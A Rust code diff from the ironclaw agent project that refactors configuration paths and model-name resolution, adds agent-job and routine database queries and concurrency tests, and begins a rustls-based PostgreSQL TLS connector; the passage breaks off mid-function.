for mode in [SslMode::Disable, SslMode::Prefer, SslMode::Require] {
|
||||
let s = mode.to_string();
|
||||
let parsed: SslMode = s.parse().expect("should parse");
|
||||
assert_eq!(parsed, mode);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssl_mode_parse_case_insensitive() {
|
||||
assert_eq!("DISABLE".parse::<SslMode>().unwrap(), SslMode::Disable);
|
||||
assert_eq!("Prefer".parse::<SslMode>().unwrap(), SslMode::Prefer);
|
||||
assert_eq!("REQUIRE".parse::<SslMode>().unwrap(), SslMode::Require);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ssl_mode_parse_invalid() {
|
||||
assert!("invalid".parse::<SslMode>().is_err());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{parse_bool_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
|
||||
@@ -41,9 +42,7 @@ impl HygieneConfig {
|
||||
enabled: self.enabled,
|
||||
retention_days: self.retention_days,
|
||||
cadence_hours: self.cadence_hours,
|
||||
state_dir: dirs::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".ironclaw"),
|
||||
state_dir: ironclaw_base_dir(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+113
-15
@@ -2,6 +2,7 @@ use std::path::PathBuf;
|
||||
|
||||
use secrecy::SecretString;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{optional_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
use crate::settings::Settings;
|
||||
@@ -59,6 +60,23 @@ impl std::fmt::Display for LlmBackend {
|
||||
}
|
||||
}
|
||||
|
||||
impl LlmBackend {
|
||||
/// The environment variable that configures the model name for this backend.
|
||||
///
|
||||
/// Used by both `LlmConfig::resolve()` (reads the var) and the setup wizard
|
||||
/// (writes the var to `.env`). Centralised here so the two stay in sync.
|
||||
pub fn model_env_var(&self) -> &'static str {
|
||||
match self {
|
||||
Self::NearAi => "NEARAI_MODEL",
|
||||
Self::OpenAi => "OPENAI_MODEL",
|
||||
Self::Anthropic => "ANTHROPIC_MODEL",
|
||||
Self::Ollama => "OLLAMA_MODEL",
|
||||
Self::OpenAiCompatible => "LLM_MODEL",
|
||||
Self::Tinfoil => "TINFOIL_MODEL",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Configuration for direct OpenAI API access.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct OpenAiDirectConfig {
|
||||
@@ -177,6 +195,17 @@ pub struct NearAiConfig {
|
||||
}
|
||||
|
||||
impl LlmConfig {
|
||||
/// Resolve a model name from env var → settings.selected_model → hardcoded default.
|
||||
fn resolve_model(
|
||||
env_var: &str,
|
||||
settings: &Settings,
|
||||
default: &str,
|
||||
) -> Result<String, ConfigError> {
|
||||
Ok(optional_env(env_var)?
|
||||
.or_else(|| settings.selected_model.clone())
|
||||
.unwrap_or_else(|| default.to_string()))
|
||||
}
|
||||
|
||||
pub(crate) fn resolve(settings: &Settings) -> Result<Self, ConfigError> {
|
||||
// Determine backend: env var > settings > default (NearAi)
|
||||
let backend: LlmBackend = if let Some(b) = optional_env("LLM_BACKEND")? {
|
||||
@@ -204,9 +233,7 @@ impl LlmConfig {
|
||||
let nearai_api_key = optional_env("NEARAI_API_KEY")?.map(SecretString::from);
|
||||
|
||||
let nearai = NearAiConfig {
|
||||
model: optional_env("NEARAI_MODEL")?
|
||||
.or_else(|| settings.selected_model.clone())
|
||||
.unwrap_or_else(|| "zai-org/GLM-latest".to_string()),
|
||||
model: Self::resolve_model("NEARAI_MODEL", settings, "zai-org/GLM-latest")?,
|
||||
cheap_model: optional_env("NEARAI_CHEAP_MODEL")?,
|
||||
base_url: optional_env("NEARAI_BASE_URL")?.unwrap_or_else(|| {
|
||||
if nearai_api_key.is_some() {
|
||||
@@ -247,7 +274,7 @@ impl LlmConfig {
|
||||
key: "OPENAI_API_KEY".to_string(),
|
||||
hint: "Set OPENAI_API_KEY when LLM_BACKEND=openai".to_string(),
|
||||
})?;
|
||||
let model = optional_env("OPENAI_MODEL")?.unwrap_or_else(|| "gpt-4o".to_string());
|
||||
let model = Self::resolve_model("OPENAI_MODEL", settings, "gpt-4o")?;
|
||||
let base_url = optional_env("OPENAI_BASE_URL")?;
|
||||
Some(OpenAiDirectConfig {
|
||||
api_key,
|
||||
@@ -265,8 +292,8 @@ impl LlmConfig {
|
||||
key: "ANTHROPIC_API_KEY".to_string(),
|
||||
hint: "Set ANTHROPIC_API_KEY when LLM_BACKEND=anthropic".to_string(),
|
||||
})?;
|
||||
let model = optional_env("ANTHROPIC_MODEL")?
|
||||
.unwrap_or_else(|| "claude-sonnet-4-20250514".to_string());
|
||||
let model =
|
||||
Self::resolve_model("ANTHROPIC_MODEL", settings, "claude-sonnet-4-20250514")?;
|
||||
let base_url = optional_env("ANTHROPIC_BASE_URL")?;
|
||||
Some(AnthropicDirectConfig {
|
||||
api_key,
|
||||
@@ -281,7 +308,7 @@ impl LlmConfig {
|
||||
let base_url = optional_env("OLLAMA_BASE_URL")?
|
||||
.or_else(|| settings.ollama_base_url.clone())
|
||||
.unwrap_or_else(|| "http://localhost:11434".to_string());
|
||||
let model = optional_env("OLLAMA_MODEL")?.unwrap_or_else(|| "llama3".to_string());
|
||||
let model = Self::resolve_model("OLLAMA_MODEL", settings, "llama3")?;
|
||||
Some(OllamaConfig { base_url, model })
|
||||
} else {
|
||||
None
|
||||
@@ -295,9 +322,7 @@ impl LlmConfig {
|
||||
hint: "Set LLM_BASE_URL when LLM_BACKEND=openai_compatible".to_string(),
|
||||
})?;
|
||||
let api_key = optional_env("LLM_API_KEY")?.map(SecretString::from);
|
||||
let model = optional_env("LLM_MODEL")?
|
||||
.or_else(|| settings.selected_model.clone())
|
||||
.unwrap_or_else(|| "default".to_string());
|
||||
let model = Self::resolve_model("LLM_MODEL", settings, "default")?;
|
||||
let extra_headers = optional_env("LLM_EXTRA_HEADERS")?
|
||||
.map(|val| parse_extra_headers(&val))
|
||||
.transpose()?
|
||||
@@ -319,7 +344,7 @@ impl LlmConfig {
|
||||
key: "TINFOIL_API_KEY".to_string(),
|
||||
hint: "Set TINFOIL_API_KEY when LLM_BACKEND=tinfoil".to_string(),
|
||||
})?;
|
||||
let model = optional_env("TINFOIL_MODEL")?.unwrap_or_else(|| "kimi-k2-5".to_string());
|
||||
let model = Self::resolve_model("TINFOIL_MODEL", settings, "kimi-k2-5")?;
|
||||
Some(TinfoilConfig { api_key, model })
|
||||
} else {
|
||||
None
|
||||
@@ -373,10 +398,7 @@ fn parse_extra_headers(val: &str) -> Result<Vec<(String, String)>, ConfigError>
|
||||
|
||||
/// Get the default session file path (~/.ironclaw/session.json).
|
||||
fn default_session_path() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("session.json")
|
||||
ironclaw_base_dir().join("session.json")
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
@@ -508,4 +530,80 @@ mod tests {
|
||||
]
|
||||
);
|
||||
}
|
||||
|
||||
/// Clear all ollama-related env vars.
|
||||
fn clear_ollama_env() {
|
||||
// SAFETY: Only called under ENV_MUTEX in tests.
|
||||
unsafe {
|
||||
std::env::remove_var("LLM_BACKEND");
|
||||
std::env::remove_var("OLLAMA_BASE_URL");
|
||||
std::env::remove_var("OLLAMA_MODEL");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ollama_uses_selected_model_when_ollama_model_unset() {
|
||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||
clear_ollama_env();
|
||||
|
||||
let settings = Settings {
|
||||
llm_backend: Some("ollama".to_string()),
|
||||
selected_model: Some("llama3.2".to_string()),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||
let ollama = cfg.ollama.expect("ollama config should be present");
|
||||
|
||||
assert_eq!(ollama.model, "llama3.2");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ollama_model_env_overrides_selected_model() {
|
||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||
clear_ollama_env();
|
||||
// SAFETY: Under ENV_MUTEX.
|
||||
unsafe {
|
||||
std::env::set_var("OLLAMA_MODEL", "mistral:latest");
|
||||
}
|
||||
|
||||
let settings = Settings {
|
||||
llm_backend: Some("ollama".to_string()),
|
||||
selected_model: Some("llama3.2".to_string()),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||
let ollama = cfg.ollama.expect("ollama config should be present");
|
||||
|
||||
assert_eq!(ollama.model, "mistral:latest");
|
||||
|
||||
// SAFETY: Under ENV_MUTEX.
|
||||
unsafe {
|
||||
std::env::remove_var("OLLAMA_MODEL");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn openai_compatible_preserves_dotted_model_name() {
|
||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
||||
clear_openai_compatible_env();
|
||||
|
||||
let settings = Settings {
|
||||
llm_backend: Some("openai_compatible".to_string()),
|
||||
openai_compatible_base_url: Some("http://localhost:11434/v1".to_string()),
|
||||
selected_model: Some("llama3.2".to_string()),
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
let cfg = LlmConfig::resolve(&settings).expect("resolve should succeed");
|
||||
let compat = cfg
|
||||
.openai_compatible
|
||||
.expect("openai-compatible config should be present");
|
||||
|
||||
assert_eq!(
|
||||
compat.model, "llama3.2",
|
||||
"model name with dot must not be truncated"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -32,7 +32,7 @@ use crate::settings::Settings;
|
||||
pub use self::agent::AgentConfig;
|
||||
pub use self::builder::BuilderModeConfig;
|
||||
pub use self::channels::{ChannelsConfig, CliConfig, GatewayConfig, HttpConfig, SignalConfig};
|
||||
pub use self::database::{DatabaseBackend, DatabaseConfig, default_libsql_path};
|
||||
pub use self::database::{DatabaseBackend, DatabaseConfig, SslMode, default_libsql_path};
|
||||
pub use self::embeddings::EmbeddingsConfig;
|
||||
pub use self::heartbeat::HeartbeatConfig;
|
||||
pub use self::hygiene::HygieneConfig;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
use std::path::PathBuf;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
|
||||
@@ -34,18 +35,12 @@ impl Default for SkillsConfig {
|
||||
|
||||
/// Get the default user skills directory (~/.ironclaw/skills/).
|
||||
fn default_skills_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("skills")
|
||||
ironclaw_base_dir().join("skills")
|
||||
}
|
||||
|
||||
/// Get the default installed skills directory (~/.ironclaw/installed_skills/).
|
||||
fn default_installed_skills_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("installed_skills")
|
||||
ironclaw_base_dir().join("installed_skills")
|
||||
}
|
||||
|
||||
impl SkillsConfig {
|
||||
|
||||
+2
-4
@@ -1,6 +1,7 @@
|
||||
use std::path::PathBuf;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::bootstrap::ironclaw_base_dir;
|
||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||
use crate::error::ConfigError;
|
||||
|
||||
@@ -39,10 +40,7 @@ impl Default for WasmConfig {
|
||||
|
||||
/// Get the default tools directory (~/.ironclaw/tools/).
|
||||
fn default_tools_dir() -> PathBuf {
|
||||
dirs::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".ironclaw")
|
||||
.join("tools")
|
||||
ironclaw_base_dir().join("tools")
|
||||
}
|
||||
|
||||
impl WasmConfig {
|
||||
|
||||
@@ -323,4 +323,171 @@ mod tests {
|
||||
let context = manager.get_context(job_id).await.unwrap();
|
||||
assert_eq!(context.state, crate::context::JobState::InProgress);
|
||||
}
|
||||
|
||||
// === QA Plan P3 - 4.2: Concurrent job stress tests ===
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_creates_produce_unique_ids() {
|
||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
||||
|
||||
let handles: Vec<_> = (0..50)
|
||||
.map(|i| {
|
||||
let mgr = std::sync::Arc::clone(&manager);
|
||||
tokio::spawn(async move {
|
||||
mgr.create_job(format!("Job {i}"), format!("Desc {i}"))
|
||||
.await
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let mut ids = std::collections::HashSet::new();
|
||||
for handle in handles {
|
||||
let result = handle.await.expect("task should not panic");
|
||||
let job_id = result.expect("create_job should succeed");
|
||||
assert!(ids.insert(job_id), "Duplicate job ID: {job_id}");
|
||||
}
|
||||
|
||||
assert_eq!(ids.len(), 50);
|
||||
assert_eq!(manager.all_jobs().await.len(), 50);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_creates_respect_max_jobs_limit() {
|
||||
// max_jobs = 5, but create_job only counts *active* jobs (InProgress).
|
||||
// Pending jobs don't count against the limit, so we need to transition them.
|
||||
let manager = std::sync::Arc::new(ContextManager::new(5));
|
||||
|
||||
// First, create 5 jobs and make them active.
|
||||
for i in 0..5 {
|
||||
let id = manager
|
||||
.create_job(format!("Job {i}"), "desc")
|
||||
.await
|
||||
.unwrap();
|
||||
manager
|
||||
.update_context(id, |ctx| {
|
||||
ctx.transition_to(crate::context::JobState::InProgress, None)
|
||||
})
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
}
|
||||
|
||||
// Now try to create 10 more concurrently -- all should fail.
|
||||
let handles: Vec<_> = (0..10)
|
||||
.map(|i| {
|
||||
let mgr = std::sync::Arc::clone(&manager);
|
||||
tokio::spawn(async move { mgr.create_job(format!("Overflow {i}"), "desc").await })
|
||||
})
|
||||
.collect();
|
||||
|
||||
for handle in handles {
|
||||
let result = handle.await.expect("task should not panic");
|
||||
assert!(
|
||||
matches!(result, Err(JobError::MaxJobsExceeded { .. })),
|
||||
"Expected MaxJobsExceeded, got: {:?}",
|
||||
result
|
||||
);
|
||||
}
|
||||
|
||||
// Still exactly 5 jobs.
|
||||
assert_eq!(manager.all_jobs().await.len(), 5);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_creates_and_reads_no_corruption() {
|
||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
||||
|
||||
// Spawn writers that create jobs.
|
||||
let writer_handles: Vec<_> = (0..20)
|
||||
.map(|i| {
|
||||
let mgr = std::sync::Arc::clone(&manager);
|
||||
tokio::spawn(async move {
|
||||
mgr.create_job_for_user(
|
||||
format!("user-{}", i % 5),
|
||||
format!("Job {i}"),
|
||||
format!("Description for job {i}"),
|
||||
)
|
||||
.await
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Concurrently, spawn readers that list jobs.
|
||||
let reader_handles: Vec<_> = (0..20)
|
||||
.map(|_| {
|
||||
let mgr = std::sync::Arc::clone(&manager);
|
||||
tokio::spawn(async move {
|
||||
let _all = mgr.all_jobs().await;
|
||||
let _active = mgr.active_jobs().await;
|
||||
let _summary = mgr.summary().await;
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
// Wait for all writers.
|
||||
let mut ids = Vec::new();
|
||||
for handle in writer_handles {
|
||||
let result = handle.await.expect("writer should not panic");
|
||||
ids.push(result.expect("create should succeed"));
|
||||
}
|
||||
|
||||
// Wait for all readers.
|
||||
for handle in reader_handles {
|
||||
handle.await.expect("reader should not panic");
|
||||
}
|
||||
|
||||
// All 20 jobs created with unique IDs.
|
||||
let unique: std::collections::HashSet<_> = ids.iter().collect();
|
||||
assert_eq!(unique.len(), 20);
|
||||
|
||||
// Each user has 4 jobs (20 jobs / 5 users).
|
||||
for u in 0..5 {
|
||||
let user_jobs = manager.all_jobs_for(&format!("user-{u}")).await;
|
||||
assert_eq!(user_jobs.len(), 4, "user-{u} should have 4 jobs");
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn concurrent_updates_do_not_lose_state() {
|
||||
let manager = std::sync::Arc::new(ContextManager::new(100));
|
||||
|
||||
// Create 10 jobs.
|
||||
let mut job_ids = Vec::new();
|
||||
for i in 0..10 {
|
||||
let id = manager
|
||||
.create_job(format!("Job {i}"), "desc")
|
||||
.await
|
||||
.unwrap();
|
||||
job_ids.push(id);
|
||||
}
|
||||
|
||||
// Concurrently transition all to InProgress.
|
||||
let handles: Vec<_> = job_ids
|
||||
.iter()
|
||||
.map(|&id| {
|
||||
let mgr = std::sync::Arc::clone(&manager);
|
||||
tokio::spawn(async move {
|
||||
mgr.update_context(id, |ctx| {
|
||||
ctx.transition_to(crate::context::JobState::InProgress, None)
|
||||
})
|
||||
.await
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
for handle in handles {
|
||||
let result = handle.await.expect("task should not panic");
|
||||
result
|
||||
.expect("update should succeed")
|
||||
.expect("transition should succeed");
|
||||
}
|
||||
|
||||
// All 10 should now be InProgress.
|
||||
let active = manager.active_jobs().await;
|
||||
assert_eq!(active.len(), 10);
|
||||
for id in &job_ids {
|
||||
let ctx = manager.get_context(*id).await.unwrap();
|
||||
assert_eq!(ctx.state, crate::context::JobState::InProgress);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -97,7 +97,7 @@ impl ConversationStore for LibSqlBackend {
|
||||
c.started_at,
|
||||
c.last_activity,
|
||||
c.metadata,
|
||||
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id) AS message_count,
|
||||
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id AND m.role = 'user') AS message_count,
|
||||
(SELECT substr(m2.content, 1, 100)
|
||||
FROM conversation_messages m2
|
||||
WHERE m2.conversation_id = c.id AND m2.role = 'user'
|
||||
|
||||
+88
-1
@@ -12,7 +12,7 @@ use super::{
|
||||
use crate::context::{ActionRecord, JobContext, JobState};
|
||||
use crate::db::JobStore;
|
||||
use crate::error::DatabaseError;
|
||||
use crate::history::LlmCallRecord;
|
||||
use crate::history::{AgentJobRecord, AgentJobSummary, LlmCallRecord};
|
||||
|
||||
use chrono::Utc;
|
||||
|
||||
@@ -173,6 +173,93 @@ impl JobStore for LibSqlBackend {
|
||||
Ok(ids)
|
||||
}
|
||||
|
||||
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let mut rows = conn
|
||||
.query(
|
||||
r#"
|
||||
SELECT id, title, status, user_id, failure_reason,
|
||||
created_at, started_at, completed_at
|
||||
FROM agent_jobs WHERE source = 'direct'
|
||||
ORDER BY created_at DESC
|
||||
"#,
|
||||
(),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
||||
|
||||
let mut jobs = Vec::new();
|
||||
while let Some(row) = rows
|
||||
.next()
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
||||
{
|
||||
let id_str = get_text(&row, 0);
|
||||
let Ok(id) = id_str.parse() else {
|
||||
tracing::warn!("Skipping agent job with invalid UUID: {}", id_str);
|
||||
continue;
|
||||
};
|
||||
jobs.push(AgentJobRecord {
|
||||
id,
|
||||
title: get_text(&row, 1),
|
||||
status: get_text(&row, 2),
|
||||
user_id: get_text(&row, 3),
|
||||
failure_reason: get_opt_text(&row, 4),
|
||||
created_at: get_ts(&row, 5),
|
||||
started_at: get_opt_ts(&row, 6),
|
||||
completed_at: get_opt_ts(&row, 7),
|
||||
});
|
||||
}
|
||||
Ok(jobs)
|
||||
}
|
||||
|
||||
async fn get_agent_job_failure_reason(
|
||||
&self,
|
||||
id: Uuid,
|
||||
) -> Result<Option<String>, DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let mut rows = conn
|
||||
.query(
|
||||
"SELECT failure_reason FROM agent_jobs WHERE id = ?1",
|
||||
[id.to_string()],
|
||||
)
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
||||
|
||||
if let Some(row) = rows
|
||||
.next()
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
||||
{
|
||||
Ok(get_opt_text(&row, 0))
|
||||
} else {
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let mut rows = conn
|
||||
.query(
|
||||
"SELECT status, COUNT(*) as cnt FROM agent_jobs WHERE source = 'direct' GROUP BY status",
|
||||
(),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
||||
|
||||
let mut summary = AgentJobSummary::default();
|
||||
while let Some(row) = rows
|
||||
.next()
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
||||
{
|
||||
let status = get_text(&row, 0);
|
||||
let count = get_i64(&row, 1) as usize;
|
||||
summary.add_count(&status, count);
|
||||
}
|
||||
Ok(summary)
|
||||
}
|
||||
|
||||
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let duration_ms = action.duration.as_millis() as i64;
|
||||
|
||||
@@ -141,6 +141,27 @@ impl RoutineStore for LibSqlBackend {
|
||||
Ok(routines)
|
||||
}
|
||||
|
||||
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let mut rows = conn
|
||||
.query(
|
||||
&format!("SELECT {} FROM routines ORDER BY name", ROUTINE_COLUMNS),
|
||||
(),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?;
|
||||
|
||||
let mut routines = Vec::new();
|
||||
while let Some(row) = rows
|
||||
.next()
|
||||
.await
|
||||
.map_err(|e| DatabaseError::Query(e.to_string()))?
|
||||
{
|
||||
routines.push(row_to_routine_libsql(&row)?);
|
||||
}
|
||||
Ok(routines)
|
||||
}
|
||||
|
||||
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
||||
let conn = self.connect().await?;
|
||||
let mut rows = conn
|
||||
|
||||
@@ -515,7 +515,7 @@ impl WorkspaceStore for LibSqlBackend {
|
||||
let mut rows = conn
|
||||
.query(
|
||||
r#"
|
||||
SELECT c.id, c.document_id, c.content
|
||||
SELECT c.id, c.document_id, d.path, c.content
|
||||
FROM memory_chunks_fts fts
|
||||
JOIN memory_chunks c ON c._rowid = fts.rowid
|
||||
JOIN memory_documents d ON d.id = c.document_id
|
||||
@@ -542,7 +542,8 @@ impl WorkspaceStore for LibSqlBackend {
|
||||
results.push(RankedResult {
|
||||
chunk_id: get_text(&row, 0).parse().unwrap_or_default(),
|
||||
document_id: get_text(&row, 1).parse().unwrap_or_default(),
|
||||
content: get_text(&row, 2),
|
||||
document_path: get_text(&row, 2),
|
||||
content: get_text(&row, 3),
|
||||
rank: results.len() as u32 + 1,
|
||||
});
|
||||
}
|
||||
@@ -563,7 +564,7 @@ impl WorkspaceStore for LibSqlBackend {
|
||||
let mut rows = conn
|
||||
.query(
|
||||
r#"
|
||||
SELECT c.id, c.document_id, c.content
|
||||
SELECT c.id, c.document_id, d.path, c.content
|
||||
FROM vector_top_k('idx_memory_chunks_embedding', vector(?1), ?2) AS top_k
|
||||
JOIN memory_chunks c ON c._rowid = top_k.id
|
||||
JOIN memory_documents d ON d.id = c.document_id
|
||||
@@ -587,7 +588,8 @@ impl WorkspaceStore for LibSqlBackend {
|
||||
results.push(RankedResult {
|
||||
chunk_id: get_text(&row, 0).parse().unwrap_or_default(),
|
||||
document_id: get_text(&row, 1).parse().unwrap_or_default(),
|
||||
content: get_text(&row, 2),
|
||||
document_path: get_text(&row, 2),
|
||||
content: get_text(&row, 3),
|
||||
rank: results.len() as u32 + 1,
|
||||
});
|
||||
}
|
||||
|
||||
+11
-2
@@ -12,6 +12,9 @@
|
||||
#[cfg(feature = "postgres")]
|
||||
pub mod postgres;
|
||||
|
||||
#[cfg(feature = "postgres")]
|
||||
pub mod tls;
|
||||
|
||||
#[cfg(feature = "libsql")]
|
||||
pub mod libsql;
|
||||
|
||||
@@ -32,8 +35,8 @@ use crate::context::{ActionRecord, JobContext, JobState};
|
||||
use crate::error::DatabaseError;
|
||||
use crate::error::WorkspaceError;
|
||||
use crate::history::{
|
||||
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord,
|
||||
SandboxJobSummary, SettingRow,
|
||||
AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
|
||||
LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow,
|
||||
};
|
||||
use crate::workspace::{MemoryChunk, MemoryDocument, WorkspaceEntry};
|
||||
use crate::workspace::{SearchConfig, SearchResult};
|
||||
@@ -172,6 +175,11 @@ pub trait JobStore: Send + Sync {
|
||||
) -> Result<(), DatabaseError>;
|
||||
async fn mark_job_stuck(&self, id: Uuid) -> Result<(), DatabaseError>;
|
||||
async fn get_stuck_jobs(&self) -> Result<Vec<Uuid>, DatabaseError>;
|
||||
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError>;
|
||||
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError>;
|
||||
/// Get the failure reason for a single agent job (O(1) lookup).
|
||||
async fn get_agent_job_failure_reason(&self, id: Uuid)
|
||||
-> Result<Option<String>, DatabaseError>;
|
||||
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError>;
|
||||
async fn get_job_actions(&self, job_id: Uuid) -> Result<Vec<ActionRecord>, DatabaseError>;
|
||||
async fn record_llm_call(&self, record: &LlmCallRecord<'_>) -> Result<Uuid, DatabaseError>;
|
||||
@@ -247,6 +255,7 @@ pub trait RoutineStore: Send + Sync {
|
||||
name: &str,
|
||||
) -> Result<Option<Routine>, DatabaseError>;
|
||||
async fn list_routines(&self, user_id: &str) -> Result<Vec<Routine>, DatabaseError>;
|
||||
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
|
||||
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
|
||||
async fn list_due_cron_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
|
||||
async fn update_routine(&self, routine: &Routine) -> Result<(), DatabaseError>;
|
||||
|
||||
+21
-2
@@ -21,8 +21,8 @@ use crate::db::{
|
||||
};
|
||||
use crate::error::{DatabaseError, WorkspaceError};
|
||||
use crate::history::{
|
||||
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord,
|
||||
SandboxJobSummary, SettingRow, Store,
|
||||
AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
|
||||
LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow, Store,
|
||||
};
|
||||
use crate::workspace::{
|
||||
MemoryChunk, MemoryDocument, Repository, SearchConfig, SearchResult, WorkspaceEntry,
|
||||
@@ -215,6 +215,21 @@ impl JobStore for PgBackend {
|
||||
self.store.get_stuck_jobs().await
|
||||
}
|
||||
|
||||
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
|
||||
self.store.list_agent_jobs().await
|
||||
}
|
||||
|
||||
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
|
||||
self.store.agent_job_summary().await
|
||||
}
|
||||
|
||||
async fn get_agent_job_failure_reason(
|
||||
&self,
|
||||
id: Uuid,
|
||||
) -> Result<Option<String>, DatabaseError> {
|
||||
self.store.get_agent_job_failure_reason(id).await
|
||||
}
|
||||
|
||||
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
|
||||
self.store.save_action(job_id, action).await
|
||||
}
|
||||
@@ -373,6 +388,10 @@ impl RoutineStore for PgBackend {
|
||||
self.store.list_routines(user_id).await
|
||||
}
|
||||
|
||||
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
||||
self.store.list_all_routines().await
|
||||
}
|
||||
|
||||
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
|
||||
self.store.list_event_routines().await
|
||||
}
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
//! TLS connector factory for PostgreSQL connections.
|
||||
//!
|
||||
//! Builds a [`deadpool_postgres::Pool`] with the appropriate TLS connector
|
||||
//! based on the configured [`SslMode`]. Uses `rustls` with system root
|
||||
//! certificates — the same TLS stack that `reqwest` already uses for HTTP.
|
||||
|
||||
use deadpool_postgres::{Pool, Runtime};
|
||||
use tokio_postgres::NoTls;
|
||||
use tokio_postgres_rustls::MakeRustlsConnect;
|
||||
|
||||
use crate::config::SslMode;
|
||||
|
||||
/// Build a rustls-based TLS connector using the platform's root certificate store.
|
||||
fn make_rustls_connector() -> MakeRustlsConnect {
|
||||
let mut root_store = rustls::RootCertStore::empty();
|
||||
let native = rustls_native_certs::load_native_certs();
|
||||
for e in &native.errors {
|
||||
tracing::warn!("error loading system root certs: {e}");
|
||||
}
|
||||
for cert in native.certs {
|
||||
if let Err(e) = root_store.add(cert) {
|
||||
